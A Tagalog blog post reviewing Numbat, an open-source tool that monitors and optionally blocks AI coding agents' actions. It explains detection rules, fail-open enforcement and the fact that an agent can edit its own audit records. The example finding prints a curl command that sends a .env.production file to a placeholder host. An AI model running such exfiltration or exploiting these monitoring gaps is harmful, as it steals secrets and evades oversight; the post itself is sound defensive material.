Numbat: Tingnan ang Ginagawa ng AI Agent Mo
Alamin kung paano nire-record ng open-source Numbat ang ginagawa ng AI coding agents sa server, pati ang nakikita nito at mga hindi nito kayang pigilan.
Ano ang Numbat
Binibigyan ka ng Numbat ng visibility sa mga ginawa ng AI agent sa isang machine na pagmamay-ari mo. Binabasa nito ang hook callbacks at session files na ginagawa na ng coding agents, ginagawa itong iisang event format, at itinatapat ang mga ito sa mga rule na nagti-trigger sa mga behavior gaya ng pagbabasa ng SSH private key o direktang pag-pipe ng download papunta sa shell. Inilabas ito ng Perplexity bilang open source sa ilalim ng Apache 2.0. Ang unang tagged release nito ay noong 29 July 2026.
Ang lahat ng nasa ibaba ay mula sa repository ng proyekto at sa sarili nitong documentation, na binasa noong 2 August 2026. Kapag may claim ang Perplexity, malinaw itong tinutukoy ng post na ito. Hindi ito install tutorial dahil ilang araw pa lamang ang repository at magbabago ang mga command nito.
Ang problema: walang nagtatala ng ginawa ng agent
Ang coding agent sa iyong VPS ay nagpapatakbo ng shell commands, nagbabasa at nagsusulat ng mga file, at nagbubukas ng network connections, lahat gamit ang user account na ibinigay mo rito. Hindi itinatala ng shell history mo ang alinman sa mga iyon dahil hindi nagta-type ang agent sa shell mo. Itinatala ng sshd ang iyong login at wala nang iba pang ginawa ng model pagkatapos nito. Tahimik ang /var/log/auth.log maliban kung may um-access sa sudo. May sarili itong transcript ang agent, pero nasa session directory ng agent ang file na iyon, nagbabago ang format nito sa bawat release, at maaaring sulatan ito ng sariling process ng agent.
Kaya kapag may nagtanong kung binasa ng agent ang .env.production noong nakaraang Martes, ang tapat na sagot sa karamihan ng server ay hindi mo matutukoy. Iyan ang puwang na nilalayon ng project na ito na punan.
Ano ang sinasabing ginagawa ng Numbat
Nagsisimula ang README sa paglalarawan sa tool bilang “endpoint visibility into AI agent activity, with local detection, optional pre-action blocking, and forensic reconstruction”. Ang endpoint dito ay ang machine kung saan tumatakbo ang agent, hindi network appliance na nagmamasid mula sa labas. Magkakaibang capability ang mga ito, at magkakaiba rin ang bigat ng bawat isa.
Lokal na tumatakbo ang detection sa device. Nakasulat sa CEL (common expression language) ang mga rule at lokal na ine-evaluate ang mga ito. May multi-step sequence rules din, pati suporta para sa sarili mong mga rule sa YAML. Walang kailangang lumabas sa machine para ma-trigger ang isang rule.
Optional at limitado ang blocking. Gumagana lamang ito sa pamamagitan ng synchronous pre-action hooks, sa mga agent na naglalantad ng ganitong hook. Naka-off ito hanggang sa i-enable mo.
Nangyayari ang reconstruction pagkatapos ng aktibidad. Pina-parse ng numbat scan ang mga session artifact na naisulat na ng agent sa disk, kaya maaari mong suriin ang aktibidad bago mo pa na-install ang tool. Maingat na nililimitahan ng project ang claim na ito: “Ang at-rest reconstruction ay hindi disk o memory acquisition at hindi nito mababawi ang aktibidad na hindi na-persist ng agent.”
Versioned NDJSON (newline delimited JSON) ang output. Saklaw nito ang events, findings, enforcement decisions, indicators, at scan summaries. Schema version 0.2.0 ito noong v0.1.2. Napupunta ang records sa stdout o sa isang local file, at maaari ring ipadala sa HTTP sa isang collector na pinapatakbo mo. Ipinapamahagi ito bilang isang static Go binary na binuo nang walang cgo, para sa macOS, Linux, at Windows sa amd64 at arm64. Kaya sa Linux VPS, isang file lang ito at walang runtime na kailangang i-install muna.
Aling mga agent ang aktuwal na nakikita ng Numbat?
Ang coverage matrix sa docs/agent-coverage.md ang awtoritatibong listahan, at hindi pantay ang coverage nito. Malinaw itong sinasabi ng project sa halip na itago. May artifact scanning at live capture na may pre-action hook ang Claude Code, Codex, Gemini CLI, Cursor, at GitHub Copilot CLI. May native plugin ang OpenClaw simula sa version 2026.7.1. Maraming entry ang may markang deferred. Ibig sabihin, may live hook path pero wala ang artifact parser. Madalas itong nangyayari dahil iniimbak ng agent ang history nito sa SQLite na may write-ahead log na hindi ligtas basahin habang tumatakbo ang agent. Kasama sa grupong iyon ang OpenCode at Cline nang basahin ang matrix noong 2 August 2026.
Suriin ang row para sa iyong agent bago ka magplano batay sa tool na ito, dahil iba ang ibig sabihin ng “supported” sa halos bawat linya.
Ano ang hitsura ng isang detection
May mga ID ang mga rule na nagsasabi kung para saan ang mga ito. Sinasaklaw ng secrets.read_private_key ang isang SSH key, AWS credentials, kube config, o login sa package registry. Nagti-trigger ang exec.download_pipe_shell kapag ipinasa sa isang interpreter ang output ng curl o wget sa pamamagitan ng pipe. Nakikita ng privilege.elevated_shell ang pagtatangkang humingi ng interactive root shell sa pamamagitan ng sudo, doas, su, o pkexec. Tinutukoy ng impact.cryptomining_launch ang mga kilalang miner binary at image name.
Pinagsasama ng mga sequence rule ang mga event sa loob ng isang session. Kailangan ng chain.secret_read_then_egress ang pagbasa muna sa isang secret file, na sinusundan ng command na nagpapadala ng data palabas. Inilalabas ng README ang finding sa ibaba mula sa isang kontroladong replay ng dalawang Claude Code pre-action callback, hindi mula sa isang live incident. Pinaiikli ito rito sa mga field na mahalaga:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Pansinin ang "confidence": "medium" sa loob ng record, at pansinin din ang sinasabi ng project tungkol sa buong uri ng output na ito: "Ang mga finding ay mga rule match, hindi patunay ng compromise." Magmamatch sa parehong sequence rule ang isang deploy script na nagbabasa ng key at pagkatapos ay nag-a-upload ng build artifact. Tama ang match, pero mali ang alarm. Ito ang karaniwang kalagayan ng bawat detection tool na nagamit mo na.
Naka-off ang blocking bilang default, at nagfa-fail open ito
Monitor only ang bawat rule na nire-release ng Numbat. Sadyang proseso ang pag-convert nito sa block: kopyahin ang kumpletong YAML ng rule sa sarili mong directory, panatilihin ang parehong id, idagdag ang enforce: true, i-bump ang version, saka i-validate at i-install ang policy na iyon.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceNgayon, pag-usapan natin kung gaano mo ito dapat pagkatiwalaan. Ang deny ng Numbat ay response na ibinabalik sa agent, at ang agent ang aktuwal na tumatanggi sa tool call. Malinaw ang enforcement guide tungkol sa nangyayari kapag nagkaproblema mismo ang Numbat: "Pinipigilan ng malformed payloads, mga kaugnay na evaluation error, panic, at output failure ang numbat deny." Nililimitahan sa 4 MiB ang hook input, at dumadaan din sa parehong path ang sobrang laking input.
Malinaw din ang guide tungkol sa limitasyon ng deny na aktuwal na naipadala: "Ibig sabihin ng fail-open ay hindi ipinapadala ng numbat ang deny response nito. Hindi nito ginagarantiya na mae-execute ang tool: maaari pa ring mag-prompt, tumanggi, mag-time out, o mag-apply ng ibang hook o policy ang host."
Kaya ang enforcement dito ay guardrail, hindi boundary. Kapag nag-crash ang process, hindi bina-block ng Numbat ang action, dahil maa-uninstall sa loob ng isang linggo ang isang monitor na pinapahinto ang agent sa tuwing nagkakaproblema ito. Makatuwiran ang trade-off. Huwag lang bumuo ng security model na umaasang palaging dumarating ang deny.
Saan pumapasok ang Numbat sa kasalukuyan mong setup
Tumatakbo ang Numbat sa endpoint, sa loob ng sariling process tree ng agent, at nagsusulat sa ~/.numbat/records.ndjson bilang default. Mababasa ng agent na tumatakbo bilang user mo ang file na iyon. Maaari rin niya itong baguhin. Kasinghalaga lamang ng isolation sa paligid nito ang audit trail. Dahil dito, nauuna sa control na ito ang lahat ng mayroon ka nang control, hindi nahuhuli rito.
Pagbibigay ng disposable VM sa coding agent ang naglilimita sa maaabot ng isang mapanganib na run. Least privilege user sa VPS ang pumipigil sa agent na magbukas ng mga file na wala siyang dapat buksan. Pag-iwas na ilagay ang credentials sa context ng agent ang dahilan kung bakit sapat na bihira ang secrets.read_private_key match para sulit itong basahin kapag nag-trigger ito. At ang sandbox na ginawa mo para sa Claude Code sa isang VPS pa rin ang nagsasagawa ng containment. Nililimitahan ng containment ang maaaring galawin ng isang mapanganib na run, samantalang ang pagtatala kung bakit ganoon ang pagkakabuo ng code ay nagpapababa sa dalas ng mga nakakagulat na aksyon ng agent na magtutulak sa iyong tingnan ang log.
Ang idinaragdag ng Numbat ay ang record, kaya ipadala ang record sa lugar na hindi maaabot ng agent. Para rito ang numbat ship at ang HTTP sink. Ang kopya ng stream sa pangalawang machine ang nagkakaiba sa isang log file at ebidensiya. May dala ring MCP (model context protocol) fields ang event model. Dahil dito, napupunta sa iisang stream ang mga tool call na lumalabas sa MCP server na naka-host sa VPS at ang mga lokal na shell command. Mahalaga ito dahil hindi nakikita ang path na iyon ng anumang nagbabantay lamang sa bash. Sakop din ng parehong blind spot ang SearXNG instance na ikinabit bilang search backend ng agent, kung saan dumarating ang risk bilang hindi pinagkakatiwalaang page text na ipinapasok sa context ng model, sa halip na bilang command na maaaring itugma ng isang rule.
Subukan muna ito sa read-only mode
Mag-install ng pinned version. Kailangan ang Go 1.26.5 o mas bago para sa go install. May prebuilt binaries na may SHA-256 checksums sa releases page kung ayaw mong mag-build mula sa source.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scanTinutukoy ng numbat agents ang mga agent na naka-install sa server. Pinoproseso ng numbat scan ang mga session artifact na nasa disk na at ipinapakita ang mga record. Ayon sa README, ang mga command na ito ay “hindi nag-i-install ng hooks o nagbabago ng configuration ng agent,” at ang numbat ay “hindi kailanman nagpapatakbo ng mga agent o command na nasa mga artifact, at gumagawa lamang ito ng outbound requests sa mga naka-configure na HTTP sink.” Read-only ang scanning at may redaction ng mga secret. Hindi kasama sa karaniwang record output ang kumpletong raw transcript.
Ang live capture ang susunod na hakbang, at binabago nito ang configuration ng agent:
numbat hook install --agent codex --emit all
numbat hook status --agent codexIsinusulat ng --emit all ang mga event, finding, indicator, at naaangkop na enforcement decision sa ~/.numbat/records.ndjson. May 2 paalala na direktang nagmula sa project. Maaaring kailangan munang pagkatiwalaan ang hooks sa loob ng agent bago talaga tumakbo ang mga ito. Kailangan ding suriin muli ang trust na iyon pagkatapos mong baguhin ang mga flag gaya ng --enforce. At ang hook status ay “nagve-verify ng configuration, hindi ng execution o delivery,” kaya hindi patunay ang healthy status line na may dumarating na records sa kahit anong destinasyon.
Bakit hindi dependency ang ganito kabagong repository
Ang public releases ay v0.1.1 noong 29 July 2026 at v0.1.2 noong 1 August 2026. May 597 stars ang repository nang isulat ang post na ito noong 2 August 2026. Ang bilis ng pagtaas ng mga numerong ito ay nagpapakita ng audience ng Perplexity, hindi kung gaano katatag ang code. Ang star ay nangangahulugang may nag-save ng page para balikan sa ibang pagkakataon.
Tapat ang version number tungkol sa kalagayan nito. Ang v0.1.2 notes ay pangunahing tungkol sa mga fix sa credential redaction, pati sa case bundle at telemetry normalisation. Inaasahang ganito ang mga unang defect sa isang tool na ang tungkulin ay ligtas na magbasa ng transcripts mula sa ibang mga program, at mas marami pang ganito ang lalabas dahil galing ang mga input sa dose-dosenang agent na magkakahiwalay na nagbabago ng format ayon sa sarili nilang schedule.
Dalawang praktikal na rule ang sumusunod. I-pin ang tag, hindi kailanman @latest, sa anumang itatago mo. Ituring din itong instrumentong sinusuri mo, hindi control na inaasahan mo, kahit hanggang hindi na nagbabago ang record schema.
FAQ
Hinaharang ba ng Numbat ang mga mapanganib na command ng AI agent?
Kung kusang io-opt in mo lamang, at best effort lamang ang pagpapatupad nito. Lahat ng rule na kasama sa Numbat ay monitor-only. Para mag-block, kopyahin ang YAML ng rule sa sarili mong directory, panatilihin ang id nito, idagdag ang enforce: true, itaas ang version, at i-install ang hook gamit ang --enforce. Kahit ganoon, ang deny ay response na ipinapasa pabalik sa agent, at ang agent ang tumatanggi sa call. Naka-dokumento sa project ang fail-open behavior: kapag malformed ang payload, may evaluation error o panic, o nagkaroon ng output failure, hindi ipapatupad ang deny. Gamitin ito bilang guardrail, hindi bilang tanging boundary.
Aling AI agent ang sinusuportahan ng Numbat?
Nagkakaiba ang coverage ayon sa agent at nakalista ito sa docs/agent-coverage.md sa repository. May artifact scanning at live capture ang Claude Code, Codex, Gemini CLI, Cursor, at GitHub Copilot CLI noong binasa ang page noong 2 August 2026. May native plugin naman ang OpenClaw simula sa version 2026.7.1. Marami pang ibang agent ang may live hook path pero wala pang artifact parser, karaniwan dahil nasa SQLite database ang session history nila at hindi ligtas basahin ang database habang tumatakbo ang agent. Basahin ang row para sa agent mo, dahil may ilang magkakaibang antas ang tinutukoy ng salitang "supported" doon.
Maaari bang pakialaman ng agent ang mga record ng Numbat?
Oo, kung tumatakbo ito bilang parehong user. Bilang default, nasa ~/.numbat/records.ndjson ang mga record sa parehong machine ng agent. Kaya maaaring baguhin o i-delete ng anumang may write access sa path na iyon ang mga record. Ipadala ang stream sa isang collector na hindi maaabot ng agent, gamit ang numbat ship o ang HTTP sink, at panatilihin ang local file bilang kopyang madaling gamitin. Ito rin ang dahilan kung bakit isolation ang kinukumpleto ng tool sa halip na pinapalitan. Ang agent na naka-confine sa disposable VM at tumatakbo sa ilalim ng least privilege user ay mas kaunti ang maaabot sa sarili nitong audit trail.
Handa na ba ang Numbat para sa production server?
Hindi bilang control na aasahan mo. Ang unang public release ay v0.1.1 noong 29 July 2026, at sinundan ito ng v0.1.2 noong 1 August 2026. Kaya patuloy pang nagbabago ang mga flag at ang record schema. Read-only at low risk ang pagpapatakbo ng numbat agents at numbat scan sa isang server, at ipapakita nito kung ano ang iniiwan ng mga agent mo sa disk. Ibang desisyon ang pag-install ng enforcement hooks sa isang mahalagang server. Kailangan nito ng pinned tag at plano para sa mangyayari kapag nag-malfunction ang hook.